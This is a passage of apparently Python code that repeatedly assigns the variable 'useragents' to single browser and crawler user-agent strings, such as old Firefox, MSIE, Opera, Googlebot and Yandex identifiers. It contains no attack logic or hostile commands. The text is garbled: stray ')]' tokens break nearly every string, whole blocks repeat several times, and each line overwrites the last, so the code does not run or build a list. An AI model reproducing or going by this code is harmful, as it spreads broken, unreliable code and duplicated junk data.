OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; 